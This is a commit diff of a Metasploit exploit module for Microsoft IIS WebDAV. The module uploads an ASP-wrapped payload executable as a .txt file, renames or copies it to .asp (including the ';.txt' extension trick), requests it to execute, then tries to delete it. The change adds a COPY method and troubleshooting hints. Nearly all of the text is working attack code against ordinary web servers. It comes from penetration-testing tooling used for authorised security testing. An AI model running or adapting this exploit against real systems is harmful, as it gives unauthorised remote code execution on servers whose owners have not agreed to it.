iis_webdav_upload_asp: Add COPY and a few other tricks
parent
e23b5c5435
commit
9120a6aa76
|
@ -42,19 +42,49 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
[
|
[
|
||||||
# The USERNAME and PASSWORD are registered again to make them more obvious they're
|
# The USERNAME and PASSWORD are registered again to make them more obvious they're
|
||||||
# configurable.
|
# configurable.
|
||||||
OptString.new('USERNAME', [false, 'The HTTP username to specify for authentication', '']),
|
OptString.new('USERNAME',
|
||||||
OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication', '']),
|
[false, 'The HTTP username to specify for authentication', '']),
|
||||||
OptString.new('PATH', [ true, "The path to attempt to upload", '/metasploit%RAND%.asp'])
|
OptString.new('PASSWORD',
|
||||||
|
[false, 'The HTTP password to specify for authentication', '']),
|
||||||
|
OptString.new('PATH',
|
||||||
|
[ true, "The path to attempt to upload", '/metasploit%RAND%.asp']),
|
||||||
|
OptEnum.new('METHOD',
|
||||||
|
[true, 'Move or copy the file on the remote system from .txt -> .asp', 'move', ['move','copy']])
|
||||||
], self.class)
|
], self.class)
|
||||||
end
|
end
|
||||||
|
|
||||||
def exploit
|
def exploit
|
||||||
|
|
||||||
# Generate the ASP containing the EXE containing the payload
|
# Generate the ASP containing the EXE containing the payload
|
||||||
exe = generate_payload_exe
|
exe = generate_payload_exe
|
||||||
asp = Msf::Util::EXE.to_exe_asp(exe)
|
asp = Msf::Util::EXE.to_exe_asp(exe)
|
||||||
path = datastore['PATH'].gsub('%RAND%', rand(0x10000000).to_s)
|
path = datastore['PATH'].gsub('%RAND%', rand(0x10000000).to_s)
|
||||||
path_tmp = path.gsub(/\....$/, ".txt")
|
path = "/" + path if path[0] != "/"
|
||||||
|
# Incase of "/path/to/filename.asp;.txt"
|
||||||
|
path_tmp = "/" + File.basename(path.gsub(/\;.*/,''), ".*") + ".txt"
|
||||||
|
path_tmp = File.dirname(path) + path_tmp if File.dirname(path) != "/"
|
||||||
|
action = datastore['METHOD'].downcase.gsub('e','') + "ing"
|
||||||
|
alt_method = "move"
|
||||||
|
alt_method = "copy" if datastore['METHOD'].upcase == "MOVE"
|
||||||
|
|
||||||
|
#
|
||||||
|
# CHECK
|
||||||
|
#
|
||||||
|
print_status("Checking #{path}")
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => path ,
|
||||||
|
'method' => 'GET',
|
||||||
|
}, 20)
|
||||||
|
|
||||||
|
if (!res)
|
||||||
|
print_error("Connection timed out while trying to check #{path}")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
if (res.code == 200)
|
||||||
|
print_error("File #{path} alrady exists on the target")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
#
|
#
|
||||||
# UPLOAD
|
# UPLOAD
|
||||||
|
@ -84,13 +114,17 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# MOVE
|
# MOVE/COPY
|
||||||
#
|
#
|
||||||
print_status("Moving #{path_tmp} to #{path}...")
|
if (path_tmp == path)
|
||||||
|
print_warning("Same filename for PATH and PATH_TEMP detected (#{path_tmp})")
|
||||||
|
print_warning("Do not end PATH with '.txt'")
|
||||||
|
else
|
||||||
|
print_status("#{action.capitalize} #{path_tmp} to #{path}...")
|
||||||
|
|
||||||
res = send_request_cgi({
|
res = send_request_cgi({
|
||||||
'uri' => path_tmp,
|
'uri' => path_tmp,
|
||||||
'method' => 'MOVE',
|
'method' => datastore['METHOD'].upcase,
|
||||||
'headers' => {'Destination' => path}
|
'headers' => {'Destination' => path}
|
||||||
}, 20)
|
}, 20)
|
||||||
|
|
||||||
|
@ -100,13 +134,18 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
end
|
end
|
||||||
|
|
||||||
if (res.code < 200 or res.code >= 300)
|
if (res.code < 200 or res.code >= 300)
|
||||||
print_error("Move failed on #{path_tmp} [#{res.code} #{res.message}]")
|
print_error("#{datastore['METHOD'].capitalize} failed on #{path_tmp} [#{res.code} #{res.message}]")
|
||||||
case res.code
|
case res.code
|
||||||
when 403
|
when 403
|
||||||
print_error("IIS possibly does not allow 'Read' permission, which is required to upload executable content.")
|
print_error("IIS possibly does not allow 'READ' permission, which is required to upload executable content.")
|
||||||
end
|
end
|
||||||
return
|
return
|
||||||
|
elsif (res.code == 207)
|
||||||
|
print_warning("#{datastore['METHOD'].capitalize} may have failed. [#{res.code} Response]")
|
||||||
|
print_warning("Try using 'set METHOD #{alt_method}' instead")
|
||||||
end
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
#
|
#
|
||||||
# EXECUTE
|
# EXECUTE
|
||||||
|
@ -118,6 +157,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
'method' => 'GET'
|
'method' => 'GET'
|
||||||
}, 20)
|
}, 20)
|
||||||
|
|
||||||
|
sleep(2)
|
||||||
|
|
||||||
if (!res)
|
if (!res)
|
||||||
print_error("Execution failed on #{path} [No Response]")
|
print_error("Execution failed on #{path} [No Response]")
|
||||||
return
|
return
|
||||||
|
@ -126,23 +167,25 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
if (res.code < 200 or res.code >= 300)
|
if (res.code < 200 or res.code >= 300)
|
||||||
print_error("Execution failed on #{path} [#{res.code} #{res.message}]")
|
print_error("Execution failed on #{path} [#{res.code} #{res.message}]")
|
||||||
case res.message
|
case res.message
|
||||||
when 'Object Not Found'
|
when 'Not Found', 'Object Not Found'
|
||||||
print_error("The MOVE verb failed to rename the file. Possibly IIS doesn't allow 'Script Resource Access'.")
|
print_error("The #{datastore['METHOD'].upcase} action failed. Possibly IIS doesn't allow 'Script Resource Access'")
|
||||||
|
print_warning("Try using 'set METHOD #{alt_method}' instead")
|
||||||
|
vprint_warning("Pro Tip: Try 'set PATH /metasploit%RAND%.asp;.txt' instead") if not path.include? ";"
|
||||||
end
|
end
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
#
|
#
|
||||||
# DELETE
|
# DELETE
|
||||||
#
|
#
|
||||||
print_status("Deleting #{path}, this doesn't always work...")
|
print_status("Deleting #{path} (this doesn't always work)...")
|
||||||
|
|
||||||
res = send_request_cgi({
|
res = send_request_cgi({
|
||||||
'uri' => path,
|
'uri' => path,
|
||||||
'method' => 'DELETE'
|
'method' => 'DELETE'
|
||||||
}, 20)
|
}, 20)
|
||||||
|
|
||||||
if (!res)
|
if (!res)
|
||||||
print_error("Deletion failed on #{path} [No Response]")
|
print_error("Deletion failed on #{path} [No Response]")
|
||||||
return
|
return
|
||||||
|
|
Loading…
Reference in New Issue